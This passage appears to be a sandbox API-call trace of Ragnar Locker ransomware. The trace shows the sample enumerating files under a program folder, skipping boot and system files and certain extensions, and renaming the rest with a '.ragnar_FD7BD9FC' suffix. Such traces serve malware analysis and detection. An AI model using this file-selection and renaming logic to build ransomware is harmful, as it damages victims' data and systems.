Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png" [0079.204] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png.ragnar_FD7BD9FC" [0079.204] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_selectionsubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationRight_SelectionSubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationright_selectionsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.204] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f9ee2bd, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f9ee2bd, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.204] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3e [0079.204] lstrcpyW (in: lpString1=0x1eab5e, lpString2="NavigationUp_ButtonGraphic.png" | out: lpString1="NavigationUp_ButtonGraphic.png") returned="NavigationUp_ButtonGraphic.png" [0079.204] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png") returned=".png" [0079.204] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.204] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="autorun.inf") returned 1 [0079.204] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="boot.ini") returned 1 [0079.204] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootfont.bin") returned 1 [0079.204] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootsect.bak") returned 1 [0079.204] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootmgr") returned 1 [0079.204] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootmgr.efi") returned 1 [0079.204] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="bootmgfw.efi") returned 1 [0079.204] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="desktop.ini") returned 1 [0079.204] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="iconcache.db") returned 1 [0079.204] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntldr") returned -1 [0079.204] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntuser.dat") returned -1 [0079.204] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntuser.dat.log") returned -1 [0079.205] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="ntuser.ini") returned -1 [0079.205] lstrcmpiW (lpString1="NavigationUp_ButtonGraphic.png", lpString2="thumbs.db") returned -1 [0079.205] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.205] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.205] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.205] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.205] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.205] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.205] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.205] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_buttongraphic.png")) returned 0x20 [0079.205] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_buttongraphic.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.205] CloseHandle (hObject=0xffffffff) returned 0 [0079.205] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png" [0079.205] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png.ragnar_FD7BD9FC" [0079.205] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_buttongraphic.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_ButtonGraphic.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_buttongraphic.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.205] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fa3a577, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6fa3a577, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef0b3a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.205] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3e [0079.205] lstrcpyW (in: lpString1=0x1eab5e, lpString2="NavigationUp_SelectionSubpicture.png" | out: lpString1="NavigationUp_SelectionSubpicture.png") returned="NavigationUp_SelectionSubpicture.png" [0079.205] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png") returned=".png" [0079.205] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.205] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="autorun.inf") returned 1 [0079.205] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="boot.ini") returned 1 [0079.206] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootfont.bin") returned 1 [0079.206] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootsect.bak") returned 1 [0079.206] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootmgr") returned 1 [0079.206] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootmgr.efi") returned 1 [0079.206] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="bootmgfw.efi") returned 1 [0079.206] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="desktop.ini") returned 1 [0079.206] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="iconcache.db") returned 1 [0079.206] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntldr") returned -1 [0079.206] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntuser.dat") returned -1 [0079.206] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntuser.dat.log") returned -1 [0079.206] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="ntuser.ini") returned -1 [0079.206] lstrcmpiW (lpString1="NavigationUp_SelectionSubpicture.png", lpString2="thumbs.db") returned -1 [0079.206] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.206] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.206] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.206] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.206] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.206] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.206] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.206] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_selectionsubpicture.png")) returned 0x20 [0079.206] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.206] CloseHandle (hObject=0xffffffff) returned 0 [0079.206] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png" [0079.206] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png.ragnar_FD7BD9FC" [0079.207] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_selectionsubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\NavigationUp_SelectionSubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\navigationup_selectionsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.207] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f92fbec, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f92fbec, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef31505, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x6114, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflect.png", cAlternateFileName="")) returned 1 [0079.207] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3e [0079.207] lstrcpyW (in: lpString1=0x1eab5e, lpString2="reflect.png" | out: lpString1="reflect.png") returned="reflect.png" [0079.207] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png") returned=".png" [0079.207] lstrcmpiW (lpString1="reflect.png", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0079.207] lstrcmpiW (lpString1="reflect.png", lpString2="autorun.inf") returned 1 [0079.207] lstrcmpiW (lpString1="reflect.png", lpString2="boot.ini") returned 1 [0079.207] lstrcmpiW (lpString1="reflect.png", lpString2="bootfont.bin") returned 1 [0079.207] lstrcmpiW (lpString1="reflect.png", lpString2="bootsect.bak") returned 1 [0079.207] lstrcmpiW (lpString1="reflect.png", lpString2="bootmgr") returned 1 [0079.207] lstrcmpiW (lpString1="reflect.png", lpString2="bootmgr.efi") returned 1 [0079.207] lstrcmpiW (lpString1="reflect.png", lpString2="bootmgfw.efi") returned 1 [0079.207] lstrcmpiW (lpString1="reflect.png", lpString2="desktop.ini") returned 1 [0079.207] lstrcmpiW (lpString1="reflect.png", lpString2="iconcache.db") returned 1 [0079.207] lstrcmpiW (lpString1="reflect.png", lpString2="ntldr") returned 1 [0079.207] lstrcmpiW (lpString1="reflect.png", lpString2="ntuser.dat") returned 1 [0079.207] lstrcmpiW (lpString1="reflect.png", lpString2="ntuser.dat.log") returned 1 [0079.207] lstrcmpiW (lpString1="reflect.png", lpString2="ntuser.ini") returned 1 [0079.207] lstrcmpiW (lpString1="reflect.png", lpString2="thumbs.db") returned -1 [0079.207] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.207] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.207] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.207] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.207] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.207] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.207] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.207] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\reflect.png")) returned 0x20 [0079.208] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\reflect.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.208] CloseHandle (hObject=0xffffffff) returned 0 [0079.208] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png" [0079.208] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png.ragnar_FD7BD9FC" [0079.208] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\reflect.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\reflect.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\reflect.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.209] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8170e1c0, ftCreationTime.dwHighDateTime=0x1d5e0db, ftLastAccessTime.dwLowDateTime=0x8170e1c0, ftLastAccessTime.dwHighDateTime=0x1d5e0db, ftLastWriteTime.dwLowDateTime=0x6e638060, ftLastWriteTime.dwHighDateTime=0x1d5e0db, nFileSizeHigh=0x0, nFileSizeLow=0xf59, dwReserved0=0x0, dwReserved1=0x0, cFileName="RGNR_FD7BD9FC.txt", cAlternateFileName="RGNR_F~1.TXT")) returned 1 [0079.209] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3e [0079.209] lstrcpyW (in: lpString1=0x1eab5e, lpString2="RGNR_FD7BD9FC.txt" | out: lpString1="RGNR_FD7BD9FC.txt") returned="RGNR_FD7BD9FC.txt" [0079.209] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\RGNR_FD7BD9FC.txt") returned=".txt" [0079.209] lstrcmpiW (lpString1="RGNR_FD7BD9FC.txt", lpString2="RGNR_FD7BD9FC.txt") returned 0 [0079.209] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f97bea6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f97bea6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef31505, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2fcdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="vistabg.png", cAlternateFileName="")) returned 1 [0079.209] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3e [0079.209] lstrcpyW (in: lpString1=0x1eab5e, lpString2="vistabg.png" | out: lpString1="vistabg.png") returned="vistabg.png" [0079.209] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png") returned=".png" [0079.209] lstrcmpiW (lpString1="vistabg.png", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0079.209] lstrcmpiW (lpString1="vistabg.png", lpString2="autorun.inf") returned 1 [0079.209] lstrcmpiW (lpString1="vistabg.png", lpString2="boot.ini") returned 1 [0079.209] lstrcmpiW (lpString1="vistabg.png", lpString2="bootfont.bin") returned 1 [0079.209] lstrcmpiW (lpString1="vistabg.png", lpString2="bootsect.bak") returned 1 [0079.209] lstrcmpiW (lpString1="vistabg.png", lpString2="bootmgr") returned 1 [0079.209] lstrcmpiW (lpString1="vistabg.png", lpString2="bootmgr.efi") returned 1 [0079.209] lstrcmpiW (lpString1="vistabg.png", lpString2="bootmgfw.efi") returned 1 [0079.209] lstrcmpiW (lpString1="vistabg.png", lpString2="desktop.ini") returned 1 [0079.209] lstrcmpiW (lpString1="vistabg.png", lpString2="iconcache.db") returned 1 [0079.209] lstrcmpiW (lpString1="vistabg.png", lpString2="ntldr") returned 1 [0079.209] lstrcmpiW (lpString1="vistabg.png", lpString2="ntuser.dat") returned 1 [0079.209] lstrcmpiW (lpString1="vistabg.png", lpString2="ntuser.dat.log") returned 1 [0079.209] lstrcmpiW (lpString1="vistabg.png", lpString2="ntuser.ini") returned 1 [0079.209] lstrcmpiW (lpString1="vistabg.png", lpString2="thumbs.db") returned 1 [0079.209] lstrcmpiW (lpString1=".png", lpString2=".db") returned 1 [0079.209] lstrcmpiW (lpString1=".png", lpString2=".sys") returned -1 [0079.210] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0079.210] lstrcmpiW (lpString1=".png", lpString2=".lnk") returned 1 [0079.210] lstrcmpiW (lpString1=".png", lpString2=".msi") returned 1 [0079.210] lstrcmpiW (lpString1=".png", lpString2=".drv") returned 1 [0079.210] lstrcmpiW (lpString1=".png", lpString2=".exe") returned 1 [0079.210] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\vistabg.png")) returned 0x20 [0079.210] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\vistabg.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.210] CloseHandle (hObject=0xffffffff) returned 0 [0079.210] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png" [0079.210] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png.ragnar_FD7BD9FC" [0079.210] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\vistabg.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Rectangles\\vistabg.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\rectangles\\vistabg.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.210] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f97bea6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f97bea6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ef31505, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2fcdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="vistabg.png", cAlternateFileName="")) returned 0 [0079.210] FindClose (in: hFindFile=0x5a1368 | out: hFindFile=0x5a1368) returned 1 [0079.210] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea9b652, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea9b652, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_babypink_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0079.210] lstrcmpiW (lpString1="rectangle_babypink_Thumbnail.bmp", lpString2=".") returned 1 [0079.210] lstrcmpiW (lpString1="rectangle_babypink_Thumbnail.bmp", lpString2="..") returned 1 [0079.210] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ea9b652, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ea9b652, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_glass_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0079.210] lstrcmpiW (lpString1="rectangle_glass_Thumbnail.bmp", lpString2=".") returned 1 [0079.210] lstrcmpiW (lpString1="rectangle_glass_Thumbnail.bmp", lpString2="..") returned 1 [0079.210] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eac17af, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eac17af, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ee98f8d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_highlights_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0079.211] lstrcmpiW (lpString1="rectangle_highlights_Thumbnail.bmp", lpString2=".") returned 1 [0079.211] lstrcmpiW (lpString1="rectangle_highlights_Thumbnail.bmp", lpString2="..") returned 1 [0079.211] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6eae790c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6eae790c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4eebf0eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rectangle_performance_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0079.211] lstrcmpiW 